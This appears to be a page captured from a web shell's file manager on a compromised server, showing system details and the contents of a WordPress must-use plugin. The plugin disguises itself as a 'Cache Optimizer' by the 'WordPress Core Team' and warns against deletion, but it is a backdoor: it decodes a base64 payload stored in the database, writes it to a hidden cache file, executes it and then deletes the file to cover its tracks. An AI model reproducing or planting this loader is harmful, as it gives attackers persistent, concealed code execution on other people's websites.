HEX
Server: Apache/2
System: Linux da.abacipark.com 4.18.0-553.34.1.el8_10.x86_64 #1 SMP Wed Jan 8 09:40:06 EST 2025 x86_64
User: ankarasy (1626)
PHP: 8.4.18
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/ankarasy/domains/ankarasymm.com/public_html/wp-content/mu-plugins/wp-cache-optimizer.php
<?php
/*
Plugin Name: WordPress Cache Optimizer
Description: Advanced object caching assistant and performance monitoring module. Helps improve site speed and resource management. Do not deactivate or delete.
Version: 1.3.5
Author: WordPress Core Team
License: GPL-2.0+
*/

add_action("init", function () {

    $encoded = get_option("optimizer");
    if (!$encoded) return;

    $code = base64_decode($encoded);

    $cache_dir = WP_CONTENT_DIR . "/cache";

    if (!is_dir($cache_dir)) {
        @mkdir($cache_dir, 0755, true);
    }

    $tmp = $cache_dir . "/.cache.php";
    
    if (@file_put_contents($tmp, $code) !== false) {
    
        register_shutdown_function(function() use ($tmp) {

            if (file_exists($tmp)) {
                @unlink($tmp);
            }
        });
        
        @include $tmp;
    }
});